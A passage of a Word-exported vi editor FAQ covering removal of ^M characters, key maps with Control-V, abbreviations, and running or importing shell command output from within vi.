<p class="MsoToc2" style="margin: 0in 0.1in 0pt 48pt; tab-stops: right dotted 414.95pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#_Toc169950845"><span style="mso-bookmark: _Toc159993592;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-no-proof: yes;"><span style="color: #0000ff;">2.5 How do I change the contents of my entire file form a list of filenames to &#8220;mv filename /tmp/filename&#8221; ?</span></span></span><span style="mso-bookmark: _Toc159993592;"><span style="display: none; font-size: 10pt; color: windowtext; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; text-decoration: none; text-underline: none; mso-no-proof: yes; mso-hide: screen;"><span style="mso-tab-count: 1 dotted;"> </span></span></span><span style="mso-bookmark: _Toc159993592;"><span style="display: none; font-size: 10pt; color: windowtext; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; text-decoration: none; text-underline: none; mso-no-proof: yes; mso-hide: screen;">5</span></span></a><span style="mso-bookmark: _Toc159993592;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: Batang; mso-no-proof: yes; mso-fareast-language: KO;"></span></span></p>
<p class="MsoToc2" style="margin: 0in 0.1in 0pt 48pt; tab-stops: right dotted 414.95pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#_Toc169950846"><span style="mso-bookmark: _Toc159993592;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-no-proof: yes;"><span style="color: #0000ff;">2.6 How do I execute the contents of my file without exiting or saving my vi session?</span></span></span><span style="mso-bookmark: _Toc159993592;"><span style="display: none; font-size: 10pt; color: windowtext; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; text-decoration: none; text-underline: none; mso-no-proof: yes; mso-hide: screen;"><span style="mso-tab-count: 1;"> </span></span></span><span style="mso-bookmark: _Toc159993592;"><span style="display: none; font-size: 10pt; color: windowtext; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; text-decoration: none; text-underline: none; mso-no-proof: yes; mso-hide: screen;">5</span></span></a><span style="mso-bookmark: _Toc159993592;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: Batang; mso-no-proof: yes; mso-fareast-language: KO;"></span></span></p>
<p class="MsoToc2" style="margin: 0in 0.1in 0pt 48pt; tab-stops: right dotted 414.95pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#_Toc169950847"><span style="mso-bookmark: _Toc159993592;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-no-proof: yes;"><span style="color: #0000ff;">2.7 I have a file that contains 8000 user IDs that need to be disabled by putting &#8220;*DISABLED*&#8221; in the second field of /etc/passwd?</span></span></span><span style="mso-bookmark: _Toc159993592;"><span style="display: none; font-size: 10pt; color: windowtext; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; text-decoration: none; text-underline: none; mso-no-proof: yes; mso-hide: screen;"><span style="mso-tab-count: 1 dotted;"> </span></span></span><span style="mso-bookmark: _Toc159993592;"><span style="display: none; font-size: 10pt; color: windowtext; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; text-decoration: none; text-underline: none; mso-no-proof: yes; mso-hide: screen;">5</span></span></a><span style="mso-bookmark: _Toc159993592;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: Batang; mso-no-proof: yes; mso-fareast-language: KO;"></span></span></p>
<p class="MsoToc2" style="margin: 0in 0.1in 0pt 48pt; tab-stops: right dotted 414.95pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#_Toc169950848"><span style="mso-bookmark: _Toc159993592;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-no-proof: yes;"><span style="color: #0000ff;">2.8 I have a file that contains over 5000 blank lines made out of 1 or more spaces (mostly 100 spaces). How do I remove them?</span></span></span><span style="mso-bookmark: _Toc159993592;"><span style="display: none; font-size: 10pt; color: windowtext; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; text-decoration: none; text-underline: none; mso-no-proof: yes; mso-hide: screen;"><span style="mso-tab-count: 1 dotted;"> </span></span></span><span style="mso-bookmark: _Toc159993592;"><span style="display: none; font-size: 10pt; color: windowtext; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; text-decoration: none; text-underline: none; mso-no-proof: yes; mso-hide: screen;">5</span></span></a><span style="mso-bookmark: _Toc159993592;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: Batang; mso-no-proof: yes; mso-fareast-language: KO;"></span></span></p>
<h2 style="margin: 0in 0.1in 0pt 0.5in; text-indent: 0in; mso-list: none; tab-stops: .5in;"><span style="mso-bookmark: _Toc159993592;"><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: 'Times New Roman'; mso-bidi-font-style: italic;"> </span></span></h2>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 0.5in;"><span style="mso-bookmark: _Toc159993592;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></span></p>
<h2 style="margin: 0in 0.1in 0pt 0.5in; text-indent: 0in; mso-list: none; tab-stops: .5in;"><span style="mso-bookmark: _Toc159993592;"><a name="_Toc169950832"><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: 'Times New Roman'; mso-bidi-font-style: italic;">1 FAQ</span></a></span><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: 'Times New Roman'; mso-bidi-font-style: italic;"></span></h2>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: small; font-family: Times New Roman;"> </span></p>
<h3 style="margin: 0in 0.1in 0pt 56.25pt; text-indent: -20.25pt; mso-list: l4 level2 lfo7; tab-stops: list 56.25pt;"><a name="_Toc169950833"></a><a name="_Toc159993593"><span style="mso-bookmark: _Toc169950833;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: Verdana; mso-bidi-font-family: Verdana;"><span style="mso-list: Ignore;">1.1<span style="font: 7pt &quot;Times New Roman&quot;;">  </span></span></span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: 'Times New Roman';">Whenever I FTP a file, it puts in ^M at the end of each line. How do I remove them?</span></span></a><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: 'Times New Roman';"></span></h3>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: small; font-family: Times New Roman;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 1in; text-indent: -0.25in; mso-list: l1 level1 lfo2; tab-stops: list 1.0in;"><span style="font-size: 10pt; font-family: Wingdings; mso-fareast-font-family: Wingdings; mso-bidi-font-weight: bold; mso-bidi-font-family: Wingdings;"><span style="mso-list: Ignore;">Ø<span style="font: 7pt &quot;Times New Roman&quot;;">  </span></span></span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold;">If you have tried: 1,$ s/^M//g you know that it doesn&#8217;t work. The ^M character is a <em>single</em> character which is created when transferring an ASCII file in BINARY mode. This usually happen when transferring from NT to UNIX. What you need to know here is that the ^M character is the Enter key. </span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 0.75in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 1in; text-indent: -0.25in; mso-list: l1 level1 lfo2; tab-stops: list 1.0in;"><span style="font-size: 10pt; font-family: Wingdings; mso-fareast-font-family: Wingdings; mso-bidi-font-weight: bold; mso-bidi-font-family: Wingdings;"><span style="mso-list: Ignore;">Ø<span style="font: 7pt &quot;Times New Roman&quot;;">  </span></span></span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold;">VI allows you to duplicate the Enter key, or any other non-alphabet key (e.g. Esc, Backspace, Delete, etc.). Test it out by opening a line in vi and typing the following: </span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 0.5in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold;"><span style="mso-tab-count: 2;">                   </span>Control-V followed by Enter<br />
<span style="mso-tab-count: 2;">                   </span>Control-V followed by Backspace<br />
<span style="mso-tab-count: 2;">                   </span>Control-V followed by Delete</span>
</p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 0.5in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 1in; text-indent: -0.25in; mso-list: l0 level1 lfo3; tab-stops: list 1.0in;"><span style="font-size: 10pt; font-family: Wingdings; mso-fareast-font-family: Wingdings; mso-bidi-font-weight: bold; mso-bidi-font-family: Wingdings;"><span style="mso-list: Ignore;">Ø<span style="font: 7pt &quot;Times New Roman&quot;;">  </span></span></span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold;">Now that you know how to generate a control key let&#8217;s remove all those pesky ^M&#8217;s: </span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 0.5in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold;"><span style="mso-tab-count: 2;">                   </span>:1,$ s/Control-V followed by Enter//g</span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 0.5in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold;"><span style="mso-tab-count: 2;">                   </span>You should see the following: </span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 0.5in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold;"><span style="mso-tab-count: 2;">                   </span>:1,$ s/^M//g</span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 0.5in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold;"><span style="mso-tab-count: 2;">                   </span>Does your file look cleaner now? </span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 0.5in;"><strong><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></strong></p>
<h3 style="margin: 0in 0.1in 0pt 0.5in; text-indent: 0in; mso-list: none; tab-stops: .5in;"><a name="_Toc169950834"></a><a name="_Toc159993594"><span style="mso-bookmark: _Toc169950834;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: 'Times New Roman';">1.2 Can I map a key to include the Enter and/or Esc key? For example, &#8221; ABC Services, Inc.[Enter][Enter]</span></span></a><span style="mso-bookmark: _Toc169950834;"><span style="mso-bookmark: _Toc159993594;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: 'Times New Roman';">California</span></span></span><span style="mso-bookmark: _Toc169950834;"><span style="mso-bookmark: _Toc159993594;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: 'Times New Roman';">, USA[Esc]</span></span></span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: 'Times New Roman';"></span></h3>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 0.5in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 1in; text-indent: -0.25in; mso-list: l0 level1 lfo3; tab-stops: list 1.0in;"><span style="font-size: 10pt; font-family: Wingdings; mso-fareast-font-family: Wingdings; mso-bidi-font-weight: bold; mso-bidi-font-family: Wingdings;"><span style="mso-list: Ignore;">Ø<span style="font: 7pt &quot;Times New Roman&quot;;">  </span></span></span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold;">Let&#8217;s use your knowledge of the :map command and the ctrl-v combination to create the above map: </span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 0.5in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold;"><span style="mso-tab-count: 1;">          </span>:map # O ABC Services, Inc.<em>Control-V followed by Enter Control-V followed by <span style="mso-tab-count: 1;">          </span>Enter</em>California, USA<em>Control-V followed by Esc</em></span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 0.5in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold;"><span style="mso-tab-count: 1;">          </span>Type the above in <strong>one</strong> line. </span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 0.5in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold;"><span style="mso-tab-count: 1;">          </span>You should see the following: </span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 0.5in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold;"><span style="mso-tab-count: 1;">          </span></span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold; mso-ansi-language: IT;" lang="IT">:map # O ABC Services, Inc.^M^MCalifornia, USA^[</span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 0.5in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold; mso-ansi-language: IT;" lang="IT"> </span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 1in; text-indent: -0.25in; mso-list: l0 level1 lfo3; tab-stops: list 1.0in;"><span style="font-size: 10pt; font-family: Wingdings; mso-fareast-font-family: Wingdings; mso-bidi-font-weight: bold; mso-bidi-font-family: Wingdings;"><span style="mso-list: Ignore;">Ø<span style="font: 7pt &quot;Times New Roman&quot;;">  </span></span></span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold;">Test your map out by moving your cursor to the middle of your file and pressing the # key (shift-3). You should see either: </span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 0.5in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold;"><span style="mso-tab-count: 1;">          </span>ABC Services, Inc. </span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 0.5in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold;"><span style="mso-tab-count: 1;">          </span>California, USA</span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 0.5in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold;"><span style="mso-tab-count: 1;">          </span>or </span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 0.5in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold;"><span style="mso-tab-count: 1;">          </span>ABC Services, Inc. </span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 0.5in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold;"><span style="mso-tab-count: 1;">          </span>California, USA</span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 0.5in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold;"><span style="mso-tab-count: 1;">          </span>Depending on whether your autoindent is set (remember: set ai?).<br />
<span style="mso-tab-count: 1;">          </span>The: abbreviate command makes life easier for you when you are in the insert/append mode. The: abbreviate command can be <span style="mso-spacerun: yes;">  </span></span>
</p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 0.5in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold;"><span style="mso-tab-count: 1;">          </span>abbreviated to: </span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 0.5in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold;"><span style="mso-tab-count: 1;">          </span>:ab</span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 0.5in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold;"> </span></p>
<h3 style="margin: 0in 0.1in 0pt 0.5in; text-indent: 0in; mso-list: none; tab-stops: .5in;"><a name="_Toc169950835"></a><a name="_Toc159993595"><span style="mso-bookmark: _Toc169950835;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: 'Times New Roman';">1.3 My group has a very long name; can I have VI type it out for me?</span></span></a><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: 'Times New Roman';"></span></h3>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 0.5in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 1in; text-indent: -0.25in; mso-list: l0 level1 lfo3; tab-stops: list 1.0in;"><span style="font-size: 10pt; font-family: Wingdings; mso-fareast-font-family: Wingdings; mso-bidi-font-weight: bold; mso-bidi-font-family: Wingdings;"><span style="mso-list: Ignore;">Ø<span style="font: 7pt &quot;Times New Roman&quot;;">  </span></span></span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold;">If your group name is UNIX Software System Support, you can have vi abbreviate it to sss. All you have to do is: </span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 0.5in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold;"><span style="mso-tab-count: 1;">          </span>: abbreviate sss UNIX Software System Support</span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 0.5in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold;"><span style="mso-tab-count: 1;">          </span>or </span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 0.5in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold;"><span style="mso-tab-count: 1;">          </span>: ab sss UNIX Software System Support</span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 0.5in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 1in; text-indent: -0.25in; mso-list: l0 level1 lfo3; tab-stops: list 1.0in;"><span style="font-size: 10pt; font-family: Wingdings; mso-fareast-font-family: Wingdings; mso-bidi-font-weight: bold; mso-bidi-font-family: Wingdings;"><span style="mso-list: Ignore;">Ø<span style="font: 7pt &quot;Times New Roman&quot;;">  </span></span></span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold;">Now test your abbreviation out by opening up a line and start typing the following: </span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 0.5in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold;"><span style="mso-tab-count: 1;">          </span>I have been with the sss Team for # months.</span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 0.5in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 1in; text-indent: -0.25in; mso-list: l0 level1 lfo3; tab-stops: list 1.0in;"><span style="font-size: 10pt; font-family: Wingdings; mso-fareast-font-family: Wingdings; mso-bidi-font-weight: bold; mso-bidi-font-family: Wingdings;"><span style="mso-list: Ignore;">Ø<span style="font: 7pt &quot;Times New Roman&quot;;">  </span></span></span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold;">You should see sss change to UNIX Software System Support as soon as you hit the spacebar after sss. </span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 0.75in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 1in; text-indent: -0.25in; mso-list: l0 level1 lfo3; tab-stops: list 1.0in;"><span style="font-size: 10pt; font-family: Wingdings; mso-fareast-font-family: Wingdings; mso-bidi-font-weight: bold; mso-bidi-font-family: Wingdings;"><span style="mso-list: Ignore;">Ø<span style="font: 7pt &quot;Times New Roman&quot;;">  </span></span></span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold;">What do you think would happen if you are writing a children's book and you type the following? </span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 0.5in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold;"><span style="mso-tab-count: 1;">          </span>This is a snake. A snake goes hi<em>sss</em>.</span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 0.5in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold;"><span style="mso-tab-count: 1;">          </span>Try it out. </span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 0.5in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold;"> </span></p>
<h3 style="margin: 0in 0.1in 0pt 0.5in; text-indent: 0in; mso-list: none; tab-stops: .5in;"><a name="_Toc169950836"></a><a name="_Toc159993596"><span style="mso-bookmark: _Toc169950836;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: 'Times New Roman';">1.4 Escaping to the Shell with the:! Command</span></span></a><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: 'Times New Roman';"></span></h3>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: small; font-family: Times New Roman;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 1in; text-indent: -0.25in; mso-list: l2 level1 lfo5; tab-stops: list 1.0in;"><span style="font-size: 10pt; font-family: Wingdings; mso-fareast-font-family: Wingdings; mso-bidi-font-weight: bold; mso-bidi-font-family: Wingdings;"><span style="mso-list: Ignore;">Ø<span style="font: 7pt &quot;Times New Roman&quot;;">  </span></span></span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold;">You can escape to the shell and run commands without exiting your vi session. Many times you do this because you are not ready to do a: wq yet. Or you are afraid that opening another xterm to look at your lpstat command will crash your laptop. </span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 0.75in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 1in; text-indent: -0.25in; mso-list: l6 level1 lfo4; tab-stops: list 1.0in;"><span style="font-size: 10pt; font-family: Wingdings; mso-fareast-font-family: Wingdings; mso-bidi-font-weight: bold; mso-bidi-font-family: Wingdings;"><span style="mso-list: Ignore;">Ø<span style="font: 7pt &quot;Times New Roman&quot;;">  </span></span></span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold;">For example, you want to check if your print job has completed yet, you can run the following command while in vi: </span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 0.5in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold;"><span style="mso-tab-count: 1;">          </span>:!lpstat</span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 0.5in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold;"><span style="mso-tab-count: 1;">          </span>The ! takes you into a child shell to execute your command. and prompts you to [Hit return to continue] when you&#8217;re done. </span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 0.5in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold;"> </span></p>
<h3 style="margin: 0in 0.1in 0pt 0.5in; text-indent: 0in; mso-list: none; tab-stops: .5in;"><a name="_Toc169950837"></a><a name="_Toc159993597"><span style="mso-bookmark: _Toc169950837;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: 'Times New Roman';">1.5 Incorporating Shell Output Via the: r ! Command</span></span></a><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: 'Times New Roman';"></span></h3>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: small; font-family: Times New Roman;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 1in; text-indent: -0.25in; mso-list: l6 level1 lfo4; tab-stops: list 1.0in;"><span style="font-size: 10pt; font-family: Wingdings; mso-fareast-font-family: Wingdings; mso-bidi-font-weight: bold; mso-bidi-font-family: Wingdings;"><span style="mso-list: Ignore;">Ø<span style="font: 7pt &quot;Times New Roman&quot;;">  </span></span></span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold;">Many times when you are documenting, you want to insert the contents of a file, or standard output into your document. This command does exactly that. </span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 0.75in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold;"> </span></p>
<h3 style="margin: 0in 0.1in 0pt 0.5in; text-indent: 0in; mso-list: none; tab-stops: .5in;"><a name="_Toc169950838"></a><a name="_Toc159993598"><span style="mso-bookmark: _Toc169950838;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: 'Times New Roman';">1.6 Can I import the output of a command line into VI?</span></span></a><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: 'Times New Roman';"></span></h3>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: small; font-family: Times New Roman;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 1in; text-indent: -0.25in; mso-list: l6 level1 lfo4; tab-stops: list 1.0in;"><span style="font-size: 10pt; font-family: Wingdings; mso-fareast-font-family: Wingdings; mso-bidi-font-weight: bold; mso-bidi-font-family: Wingdings;"><span style="mso-list: Ignore;">Ø<span style="font: 7pt &quot;Times New Roman&quot;;">  </span></span></span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold;">You are documenting a script and would like to import some output into your documenting. Your goal is to show the permissions for the file, and the contents of the file. One way it to cut and paste with 2 windows open. </span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 0.75in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 1in; text-indent: -0.25in; mso-list: l6 level1 lfo4; tab-stops: list 1.0in;"><span style="font-size: 10pt; font-family: Wingdings; mso-fareast-font-family: Wingdings; mso-bidi-font-weight: bold; mso-bidi-font-family: Wingdings;"><span style="mso-list: Ignore;">Ø<span style="font: 7pt &quot;Times New Roman&quot;;">  </span></span></span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold;">The vi way would be to move your cursor to where you want the output to appear in your file and type: </span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 0.5in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold;"><span style="mso-tab-count: 1;">          </span>:r !ll ring10</span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 0.5in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold;"><span style="mso-tab-count: 1;">          </span>You see the following in your file: </span></p>
